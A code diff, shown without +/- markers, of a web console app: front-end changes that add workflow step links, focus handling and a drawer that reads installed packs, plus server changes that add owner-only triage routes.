return [...drafts.values()].some(d => changed(d) || editDirty(d.edit))
|
||||
return [...drafts.values()].some(pending)
|
||||
|| [...newForms.values()].some(f => f.name || f.title.trim() || f.roles.length);
|
||||
}
|
||||
function forget() { drafts.clear(); newForms.clear(); }
|
||||
// The organization page's card: each workflow as a link to its graph, from the page's one workflow read.
|
||||
// The organization page's card: each workflow as a link to its graph, and under it each step as a link to
|
||||
// that step's form (SP17), from the page's one workflow read.
|
||||
function card(org, { stopped = false, label = org } = {}) {
|
||||
const all = `<a href="${esc(`${orgHash(org)}/workflows`)}" data-wfg-all data-focus-key="wfg-all">All workflows</a>`;
|
||||
const h = note => `<div class="ws-sec-h"><h2>Workflows</h2>${note ? `<span class="note">${note}</span>` : ''}${all}</div>`;
|
||||
if (stopped) return `<div class="wfg-card" data-wfg-card data-bus-stopped>${h('')}<p class="ws-panel tight note">Not read: the bus is stopped.</p></div>`;
|
||||
const heldNote = heldCardNote(org);
|
||||
if (stopped) return `<div class="wfg-card" data-wfg-card data-bus-stopped>${h('')}<p class="ws-panel tight note">Not read: the bus is stopped.</p>${heldNote}</div>`;
|
||||
const s = states.get(org);
|
||||
if (!s?.data) return `<div class="wfg-card" data-wfg-card>${h('')}<p class="ws-panel tight note" data-wfg-error>${esc(s?.error ?? 'Workflows could not be read.')}</p></div>`;
|
||||
if (!s?.data) return `<div class="wfg-card" data-wfg-card>${h('')}<p class="ws-panel tight note" data-wfg-error>${esc(s?.error ?? 'Workflows could not be read.')}</p>${heldNote}</div>`;
|
||||
const rows = listed(s).flatMap(([scope, , list]) => list.map(([name, w]) => [scope, name, w]));
|
||||
if (!rows.length) return `<div class="wfg-card" data-wfg-card>${h('none')}<div class="ws-panel tight">${none(org, s, label)}</div></div>`;
|
||||
return `<div class="wfg-card" data-wfg-card>${h(String(rows.length))}<ul class="ws-panel tight wfg-cardlist">${rows.map(([scope, name, w]) => `<li><a href="${esc(flowHref(org, scope, name))}" data-wfg-card-item data-focus-key="${esc(`wfg-card:${scope}:${name}`)}"><strong>${esc(w?.title || name)}</strong> <span class="muted">${count(stepsOf(w).length)}${scope ? `, project ${esc(scope)}` : ''}</span></a></li>`).join('')}</ul></div>`;
|
||||
if (!rows.length) return `<div class="wfg-card" data-wfg-card>${h('none')}<div class="ws-panel tight">${none(org, s, label)}</div>${heldNote}</div>`;
|
||||
const stepLinks = (scope, name, w) => {
|
||||
const steps = stepsOf(w);
|
||||
if (!steps.length) return '';
|
||||
return `<ol class="wfg-card-steps" aria-label="${esc(`Steps of ${w?.title || name}`)}">${steps.map((st, i) => `<li><a href="${esc(flowHref(org, scope, name, i + 1))}" data-wfg-card-step="${i + 1}" data-focus-key="${esc(`wfg-card:${scope}:${name}:${i + 1}`)}" aria-label="${esc(`Change step ${i + 1}, ${st.title ?? ''}`)}">${esc(st.title)}</a></li>`).join('')}</ol>`;
|
||||
};
|
||||
return `<div class="wfg-card" data-wfg-card>${h(String(rows.length))}<ul class="ws-panel tight wfg-cardlist">${rows.map(([scope, name, w]) => `<li><a href="${esc(flowHref(org, scope, name))}" data-wfg-card-item data-focus-key="${esc(`wfg-card:${scope}:${name}`)}"><strong>${esc(w?.title || name)}</strong> <span class="muted">${count(stepsOf(w).length)}${scope ? `, project ${esc(scope)}` : ''}</span></a>${stepLinks(scope, name, w)}</li>`).join('')}</ul>${heldNote}</div>`;
|
||||
}
|
||||
// SP17: a step link on the card lands in that step's title field, ready to type (bus.js asks landed() after
|
||||
// the page it opens is drawn, in place of focusing the heading).
|
||||
let landing = null;
|
||||
function landed() {
|
||||
const want = landing;
|
||||
landing = null;
|
||||
if (!want || location.hash !== want) return false;
|
||||
const form = stepFormEl(), f = form?.elements.title;
|
||||
if (!f) return false;
|
||||
// The title and the Save under it both in view (at 390 Save was below the fold), the title winning on a short screen.
|
||||
f.focus({ preventScroll: true });
|
||||
form.querySelector('[data-wfg-save]')?.scrollIntoView({ block: 'nearest' });
|
||||
f.scrollIntoView({ block: 'nearest' });
|
||||
f.setSelectionRange(f.value.length, f.value.length);
|
||||
say(`Step ${Number(form.dataset.wfgStepForm) + 1}, ${f.value}. Change it and press Save.`);
|
||||
return true;
|
||||
}
|
||||
// A step box or a step link in the details selects that step in the address (setQuery repaints).
|
||||
document.addEventListener('click', ev => {
|
||||
if (ev.button !== 0 || ev.metaKey || ev.ctrlKey || ev.shiftKey || ev.altKey) return;
|
||||
const cardStep = ev.target.closest('[data-wfg-card-step]');
|
||||
if (cardStep) { landing = cardStep.getAttribute('href'); return; }
|
||||
// A step box or a step link in the details selects that step in the address (setQuery repaints). The open
|
||||
// step's edit goes into the pending workflow first; one the save check refuses keeps the step selected.
|
||||
const link = ev.target.closest('[data-wfg-step],[data-wfg-go]');
|
||||
if (link && WS()?.setQuery && ev.button === 0 && !ev.metaKey && !ev.ctrlKey && !ev.shiftKey && !ev.altKey) {
|
||||
if (link && WS()?.setQuery) {
|
||||
ev.preventDefault();
|
||||
const at = here(link), d = at && drafts.get(at.key);
|
||||
if (d && carry(d)) return toTitle();
|
||||
WS().setQuery({ step: link.dataset.wfgStep ?? link.dataset.wfgGo });
|
||||
return;
|
||||
}
|
||||
// Apply a pack: the pack picker on the organization page, scrolled into view.
|
||||
const apply = ev.target.closest('[data-wfg-apply]');
|
||||
if (!apply || ev.button !== 0 || ev.metaKey || ev.ctrlKey || ev.shiftKey || ev.altKey) return;
|
||||
const apply = ev.target.closest('a[data-wfg-apply]');
|
||||
if (!apply) return;
|
||||
const show = () => { const p = document.querySelector('[data-packs]'); if (!p) return false; p.scrollIntoView({ block: 'start' }); return true; };
|
||||
if (location.hash === apply.getAttribute('href') && show()) { ev.preventDefault(); return; }
|
||||
const until = Date.now() + 8000;
|
||||
@@ -756,5 +823,7 @@
|
||||
window.matchMedia(NARROW).addEventListener('change', () => {
|
||||
if (document.querySelector('[data-wfg-graph]')) document.dispatchEvent(new CustomEvent('mosaic-workspace-render'));
|
||||
});
|
||||
window.MosaicWorkflows = { load, section, page, card, hasDraft, forget };
|
||||
// section(): the organization page's old form editor is gone (SP17); workspace.js still asks for it.
|
||||
const section = () => '';
|
||||
window.MosaicWorkflows = { load, section, page, card, hasDraft, forget, landed };
|
||||
})();
|
||||
@@ -367,12 +367,12 @@
|
||||
${orgTiles}
|
||||
${docrow}
|
||||
<div class="ws-split">
|
||||
<section aria-label="Measures and sessions">
|
||||
<section aria-label="Sessions and workflows">
|
||||
${secH('Active agent sessions', live ? (noRuns ? 'running not read' : live.length ? `${live.length} running${tileAgents ? `, ${liveWorking} working` : ', working not read'}` : 'none running') : '', `<a href="#/agents?${oq}" data-focus-key="agents-all">This organization's agents</a>`)}
|
||||
${sessions}
|
||||
</section>
|
||||
<section aria-label="Workflows and settings">
|
||||
${window.MosaicWorkflows?.card?.(id, { stopped, label: label(org) }) ?? ''}
|
||||
</section>
|
||||
<section aria-label="Settings">
|
||||
${secH('Settings', 'every setting, with where its value comes from')}
|
||||
${settingsList(org, { business, settings, instances, noRuns, orgCount: list ? list.length : null })}
|
||||
</section>
|
||||
@@ -638,7 +638,7 @@
|
||||
const bar = (o, parts, style = '') => `<div class="ws-bar"${style ? ` style="${style}"` : ''} aria-hidden="true">${parts.filter(p => p.n > 0).map(p => `<i class="ws-o" style="${o.style(p.id)};flex:${p.n}"></i>`).join('')}</div>`;
|
||||
const by = (o, parts, fmt = n => n) => `<div class="ws-by">${parts.map(p => `<span>${av(o.meta(p.id))}<span class="ws-sr">${esc(o.name(p.id))}</span>${esc(fmt(p.n))}</span>`).join('')}</div>`;
|
||||
// Why an organization's instances read gave nothing, in a word or two.
|
||||
const READ_ERR = { 403: 'refused', 0: 'signed out' };
|
||||
const READ_ERR = { 401: 'signed out', 403: 'refused', 0: 'signed out' };
|
||||
const instWhy = r => READ_ERR[r.err?.status] || r.err?.code || 'no answer';
|
||||
// SP8 (#1873): one KPI tile, a link to the page that lists what it counts. A tile with no figure
|
||||
// (`big` null) is drawn quiet with `none` in its place; `miss` names the organizations the figure
|
||||
@@ -1141,17 +1141,91 @@
|
||||
}
|
||||
// SP13 (#1873): the drawer's instances read gives the agent's state. The drawer does not hold the
|
||||
// page for it: once the page's own reads have answered (`opts.page`), a drawer whose instances read
|
||||
// has not says its state is being read, and repaints when the read answers. That answer is kept for
|
||||
// the one repaint it asks for; a repaint while the read is still open waits on the same read.
|
||||
// has not says its state is being read, and repaints when the read answers. A repaint while the read
|
||||
// is still open waits on the same read; once it answers it is let go, so the next render reads again.
|
||||
let drawerInst = null, drawerReads = 0; // { org, n, done, value, p }
|
||||
// Repaints whose read answered before their drawer was on screen, keyed by the drawer's
|
||||
// data-drawer-pending and its agent id. A drawer never painted (closed, or replaced by a later paint)
|
||||
// leaves its entry; the oldest go first.
|
||||
const drawerLate = new Map(), DRAWER_LATE_MAX = 8;
|
||||
const drawerInstRead = org => {
|
||||
if (drawerInst?.org === org) return drawerInst;
|
||||
const r = { org, n: ++drawerReads, done: false, value: null };
|
||||
r.p = data.instances(org).then(v => ({ inst: instancesOf(v), copies: copiesOf(v) }), err => ({ inst: null, copies: {}, err }))
|
||||
.then(v => { r.done = true; r.value = v; return v; });
|
||||
r.p.then(() => { if (drawerInst === r) drawerInst = null; });
|
||||
drawerInst = r;
|
||||
return r;
|
||||
};
|
||||
// SP16 (#1873): the template a pack hire was hired from. Only the packs read names it (owner only):
|
||||
// the pack's hire of this name points at a definition, and that definition at a template. It is read
|
||||
// only for an organization agent the instances read says a pack hired. The answer is kept per
|
||||
// organization for DRAWER_PACKS_KEEP ms, and a repaint draws from the kept answer, also while a newer
|
||||
// read is open, so the line does not change on every poll and a poll does not read packs each time.
|
||||
// A kept answer that is of no use for this hire is read again at once (SP16 review 3): a refusal or no
|
||||
// answer on each render, so the line recovers with the route; an answer that does not name this hire
|
||||
// (a hire made after it was read) once per hire until the keep runs out, so a hire the pack really
|
||||
// does not name does not read packs on every poll. `p` is given only when the drawer should repaint
|
||||
// on it: nothing is kept, or the kept answer is of no use for this hire. `value` is then the kept
|
||||
// refusal, or nothing (the line says being read) rather than a kept answer that does not name it.
|
||||
// `start` false only looks: the drawer's second look after its race starts no read.
|
||||
// The pack is the one installed now; the read does not say which version the hire was made from.
|
||||
// It never rejects: a refusal, no answer or an answer that is not the packs list each give `err`.
|
||||
const drawerPacksKept = new Map(), DRAWER_PACKS_KEEP = 60000; // org -> { at, value, p, asked }
|
||||
const drawerPacks = (org, instValue, key, start = true) => {
|
||||
const item = instValue?.inst?.[key];
|
||||
if (!item || !isHired(item) || typeof item.pack?.id !== 'string') return null;
|
||||
let k = drawerPacksKept.get(org);
|
||||
if (!k) drawerPacksKept.set(org, (k = { at: 0, value: null, p: null, asked: new Set() }));
|
||||
const v = k.value, named = !!v && !v.err && !!packTemplate(item, key, v).template;
|
||||
const expired = !v || Date.now() - k.at >= DRAWER_PACKS_KEEP;
|
||||
const again = !!v && (!!v.err || (!named && !k.asked.has(key)));
|
||||
if (start && !k.p && (expired || again)) {
|
||||
if (expired) k.asked.clear();
|
||||
if (v && !v.err && !named) k.asked.add(key);
|
||||
const kept = k;
|
||||
kept.p = fetch(`/api/orgs/${enc(org)}/packs`, { cache: 'no-store', redirect: 'manual' }).then(async r => {
|
||||
if (!r.ok || r.type === 'opaqueredirect') return { err: { status: r.type === 'opaqueredirect' ? 0 : r.status } };
|
||||
const v = await r.json().catch(() => null);
|
||||
return Array.isArray(v?.packs) ? { packs: v.packs } : { err: { code: 'no answer' } };
|
||||
}).catch(() => ({ err: { code: 'no answer' } })).then(v => { kept.value = v; kept.at = Date.now(); kept.p = null; return v; });
|
||||
}
|
||||
const wait = k.p && !named ? k.p : null;
|
||||
return { value: wait && v && !v.err ? null : v, p: wait };
|
||||
};
|
||||
// The pack's own label and the template its hire of this name is made from, from the packs read. The
|
||||
// instance names only the pack's id; the installed pack's document carries its label.
|
||||
const packTemplate = (item, name, read) => {
|
||||
const pk = item?.pack, doc = arr(read?.packs).find(p => p?.id === pk?.id && (pk?.origin == null || p?.origin === pk.origin))?.pack;
|
||||
const hire = arr(doc?.hires).find(h => h?.name === name);
|
||||
const entry = typeof hire?.definition === 'string' && doc?.definitions && typeof doc.definitions === 'object' ? doc.definitions[hire.definition] : null;
|
||||
const t = entry?.template ?? entry?.from?.template;
|
||||
return { template: typeof t === 'string' && t ? t : '', label: typeof doc?.label === 'string' && doc.label ? doc.label : '' };
|
||||
};
|
||||
// Swaps a drawer still on screen for `html`, keeping focus, and runs at once a repaint already waiting
|
||||
// on the fresh drawer's marker (its packs read answered before this drawer was painted).
|
||||
const drawerSwap = (node, html) => {
|
||||
const key = focusKey(node), tpl = document.createElement('template');
|
||||
tpl.innerHTML = html;
|
||||
const fresh = tpl.content.firstElementChild;
|
||||
if (!fresh) return;
|
||||
node.replaceWith(fresh);
|
||||
refocus(fresh, key);
|
||||
drawerLateRun(fresh);
|
||||
};
|
||||
function drawerLateRun(node) {
|
||||
const k = `${node.dataset.drawerPending}:${node.dataset.wsDrawer}`, redo = node.dataset.drawerPending ? drawerLate.get(k) : null;
|
||||
if (redo) { drawerLate.delete(k); redo(node); }
|
||||
}
|
||||
// Repaints the drawer that carries `mark` once `p` answers: now if it is on screen, else once it is
|
||||
// painted. `build(answer)` runs when the read answers and gives what draws the drawer at the swap.
|
||||
const drawerWhen = (p, mark, id, build) => p.then(v => {
|
||||
const draw = build(v), redo = node => drawerSwap(node, draw());
|
||||
const node = document.querySelector(`#bus-view [data-ws-drawer="${CSS.escape(id)}"][data-drawer-pending="${mark}"]`);
|
||||
if (node) { redo(node); return; }
|
||||
drawerLate.set(`${mark}:${id}`, redo);
|
||||
while (drawerLate.size > DRAWER_LATE_MAX) drawerLate.delete(drawerLate.keys().next().value);
|
||||
});
|
||||
async function agentDrawer(q, opts = {}) {
|
||||
const pick = agentPick(q);
|
||||
if (!pick || (opts.only && pick.org !== opts.only)) return '';
|
||||
@@ -1163,46 +1237,71 @@
|
||||
typeof opts.configIn === 'function' ? Promise.resolve(opts.configIn(org)).catch(() => null) : null,
|
||||
ensureThemes(),
|
||||
]);
|
||||
await Promise.race([ir.p, opts.page ?? ir.p]);
|
||||
const pending = !ir.done;
|
||||
// SP14 (#1873): when the read answers, only the drawer repaints, from the reads it already has; the
|
||||
// page's own reads are not made again. Each open repaints its own drawer if it is still on screen and
|
||||
// still waits on this read (data-drawer-pending names the read), so a second agent opened while the
|
||||
// read was open repaints too. A closed drawer repaints nothing, and the answer is not kept for a later open.
|
||||
if (pending) ir.p.then(() => {
|
||||
if (drawerInst === ir) drawerInst = null;
|
||||
const node = document.querySelector(`#bus-view [data-ws-drawer="${CSS.escape(id)}"][data-drawer-pending="${ir.n}"]`);
|
||||
if (!node) return;
|
||||
const key = focusKey(node), tpl = document.createElement('template');
|
||||
tpl.innerHTML = drawerHtml(pick, { body, business, config, pending: false, instRead: ir.value });
|
||||
const fresh = tpl.content.firstElementChild;
|
||||
if (!fresh) return;
|
||||
node.replaceWith(fresh);
|
||||
refocus(fresh, key);
|
||||
});
|
||||
else if (drawerInst === ir) drawerInst = null;
|
||||
return drawerHtml(pick, { body, business, config, pending: pending && ir.n, instRead: pending ? null : ir.value });
|
||||
const page = opts.page ?? null;
|
||||
const html = (instRead, packs, pending) => drawerHtml(pick, { body, business, config, pending, instRead, packs });
|
||||
// Each read the drawer waits on is raced against the page's reads (SP16 review), so neither the
|
||||
// instances read nor a pack hire's packs read holds the page's paint.
|
||||
await Promise.race([ir.p, page ?? ir.p]);
|
||||
// SP14 (#1873): when a read answers, only the drawer repaints, from the reads it already has; the
|
||||
// page's own reads are not made again. data-drawer-pending names the read it waits on: `<n>` for the
|
||||
// instances read, `<n>p` for the packs read after it, so each repaint finds only its own drawer. A
|
||||
// closed drawer repaints nothing. SP16: a read can answer after this HTML is returned and before the
|
||||
// page that carries it is on screen; then the repaint waits in drawerLate, and afterPaint runs it.
|
||||
// When the instances read answers, the state is drawn at once, and the template line, if its packs
|
||||
// read is still open with nothing of use kept, says it is being read (or the kept refusal) and
|
||||
// repaints when that read answers.
|
||||
const packsStage = instRead => {
|
||||
const pk = drawerPacks(org, instRead, pick.key);
|
||||
if (pk?.p) drawerWhen(pk.p, `${ir.n}p`, id, v => () => html(instRead, v, false));
|
||||
return { packs: pk?.value ?? null, pending: pk?.p ? `${ir.n}p` : false };
|
||||
};
|
||||
if (!ir.done) {
|
||||
drawerWhen(ir.p, ir.n, id, v => { const s = packsStage(v); return () => html(v, s.packs, s.pending); });
|
||||
return html(null, null, ir.n);
|
||||
}
|
||||
let pk = drawerPacks(org, ir.value, pick.key);
|
||||
if (pk?.p) {
|
||||
await Promise.race([pk.p, page ?? pk.p]);
|
||||
pk = drawerPacks(org, ir.value, pick.key, false);
|
||||
}
|
||||
if (pk?.p) {
|
||||
drawerWhen(pk.p, `${ir.n}p`, id, v => () => html(ir.value, v, false));
|
||||
return html(ir.value, pk.value, `${ir.n}p`);
|
||||
}
|
||||
return html(ir.value, pk?.value ?? null, false);
|
||||
}
|
||||
function drawerHtml(pick, { body, business, config, pending, instRead }) {
|
||||
function drawerHtml(pick, { body, business, config, pending, instRead, packs = null }) {
|
||||
const { org, key, id } = pick;
|
||||
const o = orgsOf(body), orgName = o.name(org);
|
||||
const close = `<button type="button" class="x" data-drawer-close data-focus-key="drawer-close" aria-label="Close the agent details">×</button>`;
|
||||
const shell = (title, inner, attrs = '') => `<aside class="ws-drawer ws-o" style="${o.style(org)}" role="region" aria-labelledby="ws-drawer-h" data-ws-drawer="${esc(id)}"${attrs}><div class="hd"><h2 id="ws-drawer-h" tabindex="-1" data-focus-key="drawer-h">${esc(title)}</h2>${close}</div><div class="body">${inner}</div></aside>`;
|
||||
// While the instances read is open, or after it failed, the agent's name is the address's and its
|
||||
// role, source and state are not known: the state says so, and Stop gives that as its reason.
|
||||
const unknown = pending ? 'Reading state…' : !instRead?.inst ? `State not read: ${esc(instWhy(instRead || {}))}.` : '';
|
||||
// role, source and state are not known: the state says so, and Stop gives that as its reason. A drawer
|
||||
// can be pending with its instances read answered, while a pack hire's packs read is still open.
|
||||
const reading = pending && !instRead;
|
||||
const unknown = reading ? 'Reading state…' : !instRead?.inst ? `State not read: ${esc(instWhy(instRead || {}))}.` : '';
|
||||
const a = unknown ? { org, key, name: key, level: 'org', keep: false, item: {}, s: arr(body?.sessions).find(x => x?.kind === 'role' && x.org === org && x.role === key) || null }
|
||||
: agentRows([{ id: org, inst: instRead.inst, copies: instRead.copies }], body).find(r => r.key === key);
|
||||
if (!a) return shell(key, `<p class="note" data-drawer-missing>No agent named ${esc(key)} was read in ${esc(orgName)}.</p>`);
|
||||
const wsRow = arr(body?.orgs).find(r => r?.org === org) ?? null;
|
||||
const notRead = names => (!body ? 'the read did not answer' : wsRow?.state !== 'ok' ? busWord({ busStopped: wsRow?.state === 'stopped' }) : missOf(wsRow, names));
|
||||
const field = (attr, term, value) => `<div class="ws-drawer-f"><dt>${term}</dt><dd data-drawer-${attr}>${value}</dd></div>`;
|
||||
// Role and where it came from. A hired agent reads as hired; no read names the template it was hired from.
|
||||
// Role and where it came from. A hired agent reads as hired; Hired from below names its pack.
|
||||
const item = a.item || {}, def = typeof item.definition === 'string' ? item.definition : '';
|
||||
const hire = typeof item.hireDecision === 'string' ? item.hireDecision : /^org:hire-(.+)$/.exec(def)?.[1] || '';
|
||||
const source = a.level === 'org'
|
||||
? (isHired(item) ? `Hired${hire ? ` by hire decision <code>${esc(hire)}</code>` : ''}${def ? `, definition <code>${esc(def)}</code>` : ''}` : `Organization agent${def ? `, definition <code>${esc(def)}</code>` : ''}`)
|
||||
: `${a.level === 'project' ? `Project agent copy${a.project?.name ? ` for ${esc(a.project.name)}` : ''}` : 'Root agent copy'}${def ? `, definition <code>${esc(def)}</code>` : ''}${a.id ? `. ${esc(a.id)}` : ''}`;
|
||||
// SP16: where a hired agent's role came from. A pack hire names its pack and, from the packs read,
|
||||
// the template; no read names the template of a hire made outside a pack.
|
||||
let hiredFrom = '';
|
||||
if (a.level === 'org' && isHired(item)) {
|
||||
if (packOf(item)) {
|
||||
const { template: t, label } = packTemplate(item, key, packs);
|
||||
hiredFrom = `Pack <strong>${esc(label || packOf(item))}</strong>, ${t ? `template <code>${esc(t)}</code> <span class="t2">as the installed pack names it</span>`
|
||||
: `<span class="muted">template ${!packs && pending ? 'being read…' : packs?.err ? `not read: ${esc(instWhy(packs))}` : 'not named in the packs read'}</span>`}`;
|
||||
} else hiredFrom = '<span class="muted">Template not recorded: no read names the template of a hire made outside a pack.</span>';
|
||||
}
|
||||
const model = business?.business?.instances?.find(i => i?.instance === key)?.vars?.model;
|
||||
// Its project and task: the role session's (the task it holds, and that task's project), else the
|
||||
// project of the conversation its live run holds.
|
||||
@@ -1229,10 +1328,18 @@
|
||||
const acts = [];
|
||||
if (chat && thread?.thread) acts.push(`<a class="ws-btn" href="${esc(`#/assistant?add=${enc(`${org}:${thread.thread}`)}`)}" data-drawer-message data-focus-key="drawer-message">Message<span class="ws-sr"> ${esc(a.name)}</span></a>`);
|
||||
else if (chat && a.level === 'org' && window.MosaicAgents?.isThread?.(def)) acts.push(`<a class="ws-btn" href="#/assistant" data-drawer-message data-focus-key="drawer-message">Message<span class="ws-sr"> ${esc(a.name)}</span></a> <span class="note">Start one from New thread in ${esc(orgName)}.</span>`);
|
||||
// SP16: where no Message is offered, one line says why. The Console opens a conversation only in an
|
||||
// Assistant pane, with a conversation agent; a role agent takes messages on the bus, which an
|
||||
// organizations Console does not send.
|
||||
else if (chat) acts.push(`<p class="note" data-drawer-nomessage>${reading ? 'No Message: its state is being read, so it is not known whether it holds a conversation.'
|
||||
: unknown ? `No Message: its state was not read (${esc(instWhy(instRead || {}))}), so it is not known whether it holds a conversation.`
|
||||
: a.level !== 'org' ? 'No Message: a copy is not messaged from here.'
|
||||
: 'No Message: this Console messages only conversation agents, such as the Assistant.'}</p>`);
|
||||
else if (change) acts.push(`<p class="note" data-drawer-nomessage>No Message: this Console does not send chat in ${esc(orgName)}.</p>`);
|
||||
if (change && a.level === 'org' && !a.keep && running(item) > 0) acts.push(stopActions(pick, a, orgName));
|
||||
// Why Stop is not offered, in words, where this Console could otherwise change the organization's agents.
|
||||
// SP13: "not running" is a reason only once the instances read has given the agent's runs.
|
||||
else if (change) acts.push(`<p class="note" data-drawer-nostop>${pending ? 'Its state is being read. Stop is offered once it is read and the agent is running.'
|
||||
else if (change) acts.push(`<p class="note" data-drawer-nostop>${reading ? 'Its state is being read. Stop is offered once it is read and the agent is running.'
|
||||
: unknown || !runsRead(item) ? 'Its state was not read, so Stop is not offered.'
|
||||
: a.level !== 'org' ? 'A copy is not stopped from here.'
|
||||
: a.keep ? `${esc(a.name)} is one of ${esc(orgName)}’s protected agents, so it is not stopped from here.`
|
||||
@@ -1243,12 +1350,19 @@
|
||||
: `<p class="note" data-drawer-readonly>This Console only reads ${esc(orgName)}. It can not message or stop its agents.</p>`;
|
||||
const fields = [
|
||||
field('org', 'Organization', orgChip(o, org)),
|
||||
unknown ? '' : field('role', 'Role', `${esc(a.role)}`),
|
||||
// A pack hire's pack is named once, in Hired from; the Role row says only that it was hired.
|
||||
unknown ? '' : field('role', 'Role', `${esc(hiredFrom && packOf(item) ? 'Hired' : a.role)}`),
|
||||
unknown ? '' : field('source', 'Source', source),
|
||||
hiredFrom ? field('hired', 'Hired from', hiredFrom) : '',
|
||||
field('state', 'State', unknown ? `<span class="muted">${unknown}</span>` : dot(...a.dot, true)),
|
||||
model ? field('model', 'Model', `<span class="mono">${esc(model)}</span>`) : '',
|
||||
project ? field('project', 'Project', `<a href="${esc(`${orgHref(org)}/projects/${enc(project.id)}`)}">${esc(project.name || project.key || project.id)}</a>${project.from ? ` <span class="t2">${project.from}</span>` : ''}`) : '',
|
||||
task ? field('task', 'Task', `<a href="${esc(taskHref(task.ref))}">${esc(task.title || task.ref)}</a>${task.title ? ` <span class="t2 mono">${esc(task.ref)}</span>` : ''}`) : '',
|
||||
// SP16: no read the Console makes carries the time of a role agent's last message or run. The agents
|
||||
// read's time is when it took the role and `since` is when its present state began, so neither is shown.
|
||||
// An agent holding a conversation has its messages in that thread's messages read, but that read pages
|
||||
// from the oldest message, so its last message is a walk of every page away; the drawer does not make it.
|
||||
field('activity', 'Last activity', `<span class="muted">${thread?.thread ? 'not shown: reading it means reading the whole conversation' : 'not recorded'}</span>`),
|
||||
].join('');
|
||||
return shell(a.name, `<dl class="ws-drawer-fields">${fields}</dl>
|
||||
<section class="ws-drawer-sec" data-drawer-tasks aria-label="Open tasks assigned to ${esc(a.name)}"><h3>Open tasks</h3>${tasksBody}${tasksAll}</section>
|
||||
@@ -1266,6 +1380,7 @@
|
||||
// bus.js calls this after each paint: focus moves into a drawer a row opened, and back to the row
|
||||
// when the drawer has closed and focus was left nowhere.
|
||||
function afterPaint() {
|
||||
for (const node of document.querySelectorAll('#bus-view [data-ws-drawer][data-drawer-pending]')) drawerLateRun(node);
|
||||
const view = document.getElementById('bus-view'), d = view?.querySelector('[data-ws-drawer]');
|
||||
const now = d?.dataset.wsDrawer || null, was = drawerShown;
|
||||
drawerShown = now;
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { AUTONOMY_ROUTE, autonomyHTTP } from './autonomy-http.mjs';
|
||||
import { proxyHTTP } from './proxy-http.mjs';
|
||||
import { proxyAdminHTTP } from './proxy-admin.mjs';
|
||||
import { triageHTTP, TRIAGE_PATHS } from './triage-http.mjs';
|
||||
import { createServer } from 'node:http';
|
||||
import { bindTesterSocket, TESTER_ORIGIN } from './tester-socket.mjs';
|
||||
import { readFileSync, openSync, fstatSync, closeSync, constants } from 'node:fs';
|
||||
@@ -811,7 +812,7 @@ async function libraryStatusRead(res, read, search) {
|
||||
// `log` takes one line per send attempt that got past sign-in; never the body. `fieldsFile` is for
|
||||
// tests; the field table is otherwise the committed packages/tasks/fields.json.
|
||||
// `agentWrite` (row 194, D7) is `(verb, args) => Promise` for the Agents section's verbs and instance.request.
|
||||
export async function startServer({ host = '127.0.0.1', port = 7330, board = DEFAULT_BOARD, timeout = 20000, bus = null, reads = null, preview = null, sso = null, tester = false, testerSocket = null, testerAuthHeader = null, proof = null, testerProofHeader = null, send = null, settingsWrite = null, projectFiles = null, projectFile = null, projectSave = null, libraryStatus = null, libraryRevert = null, chat = null, nameWrite = null, assistantStop = null, instancesWrite = null, routesWrite = null, agentWrite = null, proxyCall = null, proxyAdmin = null, processing = null, decisionWrite = null, requestRead = null, requestWrite = null, userOptions = null, federation = null, organizations = null, preselect = null, routes = [], orgAdmin = null, devAllowHosts = [], log = line => console.log(line), fieldsFile = undefined, restart = null, trail = null, boot = randomUUID(), workspaceTimeoutMs = undefined, agentLevels = null } = {}) {
|
||||
export async function startServer({ host = '127.0.0.1', port = 7330, board = DEFAULT_BOARD, timeout = 20000, bus = null, reads = null, preview = null, sso = null, tester = false, testerSocket = null, testerAuthHeader = null, proof = null, testerProofHeader = null, send = null, settingsWrite = null, projectFiles = null, projectFile = null, projectSave = null, libraryStatus = null, libraryRevert = null, chat = null, nameWrite = null, assistantStop = null, instancesWrite = null, routesWrite = null, agentWrite = null, proxyCall = null, proxyAdmin = null, triage = null, processing = null, decisionWrite = null, requestRead = null, requestWrite = null, userOptions = null, federation = null, organizations = null, preselect = null, routes = [], orgAdmin = null, devAllowHosts = [], log = line => console.log(line), fieldsFile = undefined, restart = null, trail = null, boot = randomUUID(), workspaceTimeoutMs = undefined, agentLevels = null } = {}) {
|
||||
// org-lan-bind: the dev owner on the LAN is an explicit opt-in. `devAllowHosts` names the Host
|
||||
// names (without a port) a remote browser may use; only the dev owner takes them, and only with
|
||||
// them may it bind a non-loopback IPv4 address. SSO, preview and tester listeners stay loopback.
|
||||
@@ -935,7 +936,10 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF
|
||||
if (match) {
|
||||
orgId = match[1];
|
||||
path = `/api/${match[2]}`;
|
||||
} else if (!orgList && path !== '/api/config' && !hook) {
|
||||
} else if (!orgList && path !== '/api/config' && !hook
|
||||
// #1873 triage-host: the Triage routes pass only for the instance owner's own session on the
|
||||
// public name; every other caller gets this Console's unknown /api/ answer. The gate below checks again.
|
||||
&& !(triage && TRIAGE_PATHS.includes(path) && !tester && named && sso !== null && sso.session(req)?.rootOwner === true)) {
|
||||
return json(res, 404, { error: 'org-unavailable' });
|
||||
}
|
||||
}
|
||||
@@ -1048,6 +1052,11 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF
|
||||
if (path.startsWith('/api/proxy/')) return proxyHTTP(req, res, { path, call: proxyCall, named, tester, granted,
|
||||
send, origin: sso ? (localOrigin ?? sso.publicOrigin) : `https://${preview.host}`, user: signer?.user, log });
|
||||
}
|
||||
// #1873 triage-host: the Triage session's two routes answer only the instance owner's own session on
|
||||
// the public name, with no organization selected. Anyone else falls through to the answer an
|
||||
// unknown route gives them, so the routes are not visible to a caller who cannot use them.
|
||||
if (TRIAGE_PATHS.includes(path) && triage && !tester && !granted && named && sso !== null && orgId === null && !hook && currentSession?.rootOwner === true)
|
||||
return triageHTTP(req, res, { path, triage, send: owner.send !== null, origin: localOrigin ?? sso.publicOrigin, log });
|
||||
|
||||
// Row 252: Approve and Deny. The tester listener never offers them. Anywhere else without a signed-in
|
||||
// session on the public name under --sso and --send, they are read-only.
|
||||
@@ -1240,7 +1249,7 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF
|
||||
// `send`: the page shows the composer only where a send can pass (the public name, --send on).
|
||||
// `edit`: the editor shows Save only where a save can pass, the same test as the route's.
|
||||
// `user` and `federation` (FED R6) only when there is one, so the owner's config is unchanged.
|
||||
